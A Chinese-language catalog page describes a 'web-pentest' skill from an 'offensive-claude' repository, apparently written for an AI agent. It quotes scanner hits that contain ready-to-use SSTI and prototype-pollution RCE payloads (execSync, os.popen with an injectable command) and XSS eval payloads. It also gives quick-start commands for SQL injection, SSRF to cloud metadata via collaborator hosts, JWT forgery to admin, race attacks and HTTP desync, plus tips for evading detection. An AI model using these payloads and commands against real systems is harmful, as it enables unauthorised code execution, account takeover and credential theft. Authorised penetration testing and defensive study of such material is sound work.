web-pentest

Use when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/dese…

执行命令联网读文件严重 0 · 高危 22hypnguyen1209/offensive-claude

它会碰到什么

扫了多少16 个文本文件，114 KB

它会碰到什么执行命令联网读文件

命中总数67 处

命中统计严重 0 · 高 22 · 中 9 · 低 26

逐条看命中（22 条严重或高危）

高 scripts/proto_ssti_gadgets.py:8exec-spawn

and the classic --require gadget, plus child_process argv0/shell gadgets.

高 scripts/proto_ssti_gadgets.py:42exec-spawn

"import('child_process').then(c=>c.execSync('" + js_cmd + "'))"

高 scripts/proto_ssti_gadgets.py:42exec-spawn

"import('child_process').then(c=>c.execSync('" + js_cmd + "'))"

高 scripts/proto_ssti_gadgets.py:51exec-spawn

"env": {"EVIL": f"console.log(require('child_process').execSync('{cmd}').toString())//"}

高 scripts/proto_ssti_gadgets.py:51exec-spawn

"env": {"EVIL": f"console.log(require('child_process').execSync('{cmd}').toString())//"}

高 scripts/proto_ssti_gadgets.py:54exec-spawn

# 3) child_process spawn argv0 / shell gadget (Silent Spring class)

高 scripts/proto_ssti_gadgets.py:55exec-spawn

out.append(("child_process spawn shell:true gadget", {

高 scripts/proto_ssti_gadgets.py:55exec-shell-true

out.append(("child_process spawn shell:true gadget", {

高 scripts/proto_ssti_gadgets.py:69exec-spawn
```
# config-globals os.popen
```

高 scripts/proto_ssti_gadgets.py:73exec-spawn

"{{cycler.__init__.__globals__.os.popen('" + cmd + "').read()}}",

高 scripts/proto_ssti_gadgets.py:103exec-spawn

"<%= global.process.mainModule.require('child_process').execSync('" + cmd + "') %>",

高 scripts/proto_ssti_gadgets.py:103exec-spawn

"<%= global.process.mainModule.require('child_process').execSync('" + cmd + "') %>",

高 scripts/proto_ssti_gadgets.py:104exec-spawn

"{{=global.process.mainModule.require('child_process').execSync('" + cmd + "')}}",

高 scripts/proto_ssti_gadgets.py:104exec-spawn

"{{=global.process.mainModule.require('child_process').execSync('" + cmd + "')}}",

高 scripts/proto_ssti_gadgets.py:106exec-spawn

"#{global.process.mainModule.require('child_process').execSync('" + cmd + "')}",

高 scripts/proto_ssti_gadgets.py:106exec-spawn

"#{global.process.mainModule.require('child_process').execSync('" + cmd + "')}",

高 scripts/proto_ssti_gadgets.py:110exec-spawn

"{{this.pop}}{{this.push \"return require('child_process').execSync('" + cmd + "');\"}}"

高 scripts/proto_ssti_gadgets.py:110exec-spawn

"{{this.pop}}{{this.push \"return require('child_process').execSync('" + cmd + "');\"}}"

高 scripts/proto_ssti_gadgets.py:114exec-spawn

"{{ process.mainModule.require('child_process').execSync('" + cmd + "').toString() }}",

高 scripts/proto_ssti_gadgets.py:114exec-spawn

"{{ process.mainModule.require('child_process').execSync('" + cmd + "').toString() }}",

高 scripts/xss_csp_forge.py:63exec-spawn

"<img src=x onerror=eval(atob('YWxlcnQoMSk='))>",   # base64 eval

高 scripts/xss_csp_forge.py:150exec-spawn

f"<x onfocus=eval(atob('{ '...base64 hook...' }')) autofocus>",

这一栏是扫描器报的事实，不是结论。命中多不等于有毒（安全工具、规则库、示例脚本本来就会包含危险写法），命中少也不等于干净。它和你手上的凭据、文件、网络有什么关系，需要你自己看。

技能内容

Web Application Penetration Testing

When to Activate

Web application security assessment (black/grey/white box)
API security testing (REST, GraphQL, WebSocket)
Authentication & session management testing (JWT, OAuth/OIDC, SAML)
Business-logic and race-condition hunting
WAF/CSP bypass, filter evasion, and CDN-layer attacks (desync, cache)
Validating modern 2024-2026 vectors: HTTP/1.1 desync (0.CL/TE.0), SSRF->cloud

metadata, prototype-pollution->RCE, SSTI sandbox escapes

Input-Signal Routing (what to test when you see X)

Fast test selection — map an observed parameter/behavior to the right deep-dive:

| Input signal you observe | Test for | Go to |

|--------------------------|----------|-------|

| id, uid, order_id, account, GUID/sequential ref | IDOR/BOLA, access control | references/auth-api-access-control.md |

| url, next, callback, dest, webhook, image_url | SSRF + cloud metadata, open redirect, OAuth chain | references/ssrf-cloud-metadata.md |

| price, qty, coupon, balance, status, state change | business logic + single-packet race | references/http-desync-cache.md (race) |

| template/preview/name reflected in output | SSTI -> RCE, reflected XSS | references/ssti-deserialization.md |

| search/filter/sort reflected; q=, error echoes input | SQLi, XSS, command injection | references/injection-sqli-cmdi.md |

| token, jwt, Authorization, Cookie, OAuth state | JWT forgery, session/OAuth flaws | references/auth-api-access-control.md |

| serialized blob / base64 object / __proto__ | deserialization, prototype pollution | references/ssti-deserialization.md |

| behind CDN/cache; X-Forwarded-*; keyed params | desync (0.CL/TE.0), cache poisoning | references/http-desync-cache.md |

Technique Map

|-----------|--------|-----|-----------|--------|

| File-upload -> webshell / RCE | T1505.003 | CWE-434 | references/injection-sqli-cmdi.md | - |

Quick Start

# 0. Intake from recon-osint: hosts, tech fingerprint, endpoints, params.
#    Spider + content discovery
ffuf -u https://t/FUZZ -w raft-large.txt -mc all -fc 404 -o ffuf.json
nuclei -u https://t -severity critical,high -tags cve,exposure,misconfig

# 1. Injection — automated SQLi, manual cmdi
sqlmap -r request.txt --batch --level 3 --risk 2 --tamper=between,space2comment

# 2. XSS / CSP
python3 scripts/xss_csp_forge.py contexts --collector atk.tld
python3 scripts/xss_csp_forge.py csp "$(curl -sI https://t | grep -i content-security)"

# 3. SSRF -> cloud metadata
python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
python3 scripts/ssrf_toolkit.py cloud --provider aws

# 4. HTTP desync (2024-2026 vectors: cl0/expect/options/te0)
python3 scripts/desync_probe.py https://t --probe all --verbose

# 5. SSTI / prototype pollution / deserialization
python3 scripts/proto_ssti_gadgets.py detect
python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
python3 scripts/proto_ssti_gadgets.py proto --cmd "id"

# 6. Auth & API
python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey pub.pem --claim role=admin
python3 scripts/graphql_audit.py introspect https://t/graphql

# 7. Logic / race
python3 scripts/race_single_packet.py https://t/redeem -d "code=X" -n 30 -H "Cookie: s=..."

# -> feed each confirmed issue into templates/exploit/findings/ with
#    severity, CWE, CVSS, PoC, evidence, ATT&CK ID, remediation.

OPSEC & Detection (summary)

|-----------|-----------------|------------------------|------------|

| SQLi / cmdi | SQL keywords, SLEEP/WAITFOR, web-svc spawning sh/curl | webserver regex Sigma; EDR child-shell from www-data | time-based is slow+noisy; --random-agent --delay, in-band reads first |

| XSS / CSP / client-PP | <script, onerror=, __proto__ in params; CSP report-uri hits | webserver regex; Trusted-Types violation alerts | persistent __proto__ can break shared cached pages — avoid |

| SSRF / metadata | hits to 169.254.169.254 / metadata hosts from app tier | proxy Sigma; GuardDuty credential-exfil | stop at proving token retrieval; rotate collaborator subdomains |

| HTTP desync / cache | CL+TE together, obs-fold, Expect on OPTIONS to CDN | proxy Sigma; reject ambiguous framing | poisons co-tenant traffic — scoped only, never POST-smuggle prod |

| SSTI / PP / deser | {{ }}/${ }, NODE_OPTIONS, rO0AB, JNDI egress | webserver/body Sigma; EDR java->LDAP/RMI | id probe first; reverse shells trip EDR; revert polluted config |

| JWT / OAuth / GraphQL | alg:none, unknown jku/kid, multi-op GraphQL body | app Sigma; failed-verify spikes | forged-JWT attempts alert; cap GraphQL brute wordlist/rate |

Deep Dives

references/injection-sqli-cmdi.md — SQLi (UNION/blind/error/NoSQL), OS command

& argument injection, HTTP Parameter Pollution (HPP), file-upload -> webshell/RCE,

sqlmap tamper workflow, modern WAF/Unicode evasion.

references/xss-csp-clientside.md — XSS contexts, DOM sinks, CSP bypass +

script gadgets, client-side prototype pollution -> XSS, mXSS/sanitizer bypass.

references/ssrf-cloud-metadata.md — SSRF parser confusion, gopher/redis,

AWS/GCP/Azure metadata, IMDSv2 reality + Axios bypass, HTML-to-PDF switch,

2024-2026 CVEs (Azure OpenAI, Oracle EBS, Next.js, ColdFusion).

references/http-desync-cache.md — CL.TE/TE.CL, TE.0 (2024), 0.CL/Expect &

CVE-2025-32094 (Akamai), TE.TE chunk-ext, cache poisoning/deception

("Gotta cache 'em all", ACM CCS 2024), pipelining-vs-desync caveat.

references/ssti-deserialization.md — per-engine SSTI RCE, sandbox escapes

(CVE-2024-22195, Frappe/XWiki/Yeti), Node prototype-pollution -> RCE (GHunter,

NODE_OPTIONS --import), Java/.NET/PHP deserialization gadget chains.

references/auth-api-access-control.md — JWT forgery, OAuth/OIDC/SAML, GraphQL

batch/alias/depth abuse, IDOR/BOLA/mass assignment, and the HTTP/2 single-packet

race attack.

references/business-logic-abuse.md — model the intended state machine, then break

transitions: price/quantity/coupon tampering, refund/payout & single-packet races,

workflow-step skip, idempotency gaps, tenant/role confusion, flaw-chaining.

references/proxy-mcp-integration.md — driving a live Burp/Caido proxy MCP for

ground-truth traffic + replay-with-auth, with mandatory header redaction

(redact_headers.py) at the data boundary.

想直接用这个技能？

本站把开放许可（MIT / Apache 等）的技能按仓库打包整理到网盘，点一下转存到你自己的网盘，不用一个个从 GitHub 拉。许可未声明的技能只给原始仓库链接，不打包。

去原始仓库

它属于哪个仓库

仓库hypnguyen1209/offensive-claude

星标★ 367

本站分层T2

该仓技能数37

原文件路径skills/web-pentest/SKILL.md

同一个仓库里的其他技能

看这个仓库的全部 37 个技能